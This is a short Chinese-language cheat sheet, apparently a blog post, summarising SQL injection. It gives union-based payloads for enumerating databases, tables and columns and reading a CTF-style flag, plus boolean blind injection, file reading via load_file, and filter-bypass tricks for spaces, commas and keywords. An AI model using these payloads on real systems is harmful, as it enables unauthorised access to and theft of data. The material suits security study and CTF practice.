0x00 前言
简单的总结一下SQL注入的内容
0x01 常规注入
通过特殊字符测试闭合,通常使用的闭合方式有' " ') ")等,当然也有一种可能是数字型,一般就靠试
1.判断字段
a' union select 1,2,3 #
- 1
2.执行基础内容
a' union select 1,database(),3 #
- 1
3.查表
a' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database();#
- 1
4.查列
a' union select table_name,column_name from information_schema.columns where table_name='users'#
- 1
5.查看具体数据
a' union select 1,falg,3 from web2.flag#
- 1
获取用户
select user()
- 1
获取数据库
select database()
- 1
读取文件
load_file("")
- 1
0x02 盲注
1.布尔盲注
1.1 ascii
ascii(substr(database(),1,1))>1
- 1
0x03 绕过
1.空格绕过
空格可以通过/**/进行绕过
可以通过//进行绕过
2.逗号绕过
ascii(substr((database()) from 1 for 1))>1#
- 1
3. and 绕过
and=&& or=|| xor=| not=!
- 1
4.information_schema.tables绕过
可以通过 这种方式进行绕过
information_schema.`tables`
- 1
5. 无列名注入
会将想要查询的内容变成一列进行列出
union select group_concat(b) from (select 1,2,3 as b union select * from a)l #
- 1
评论记录:
回复评论: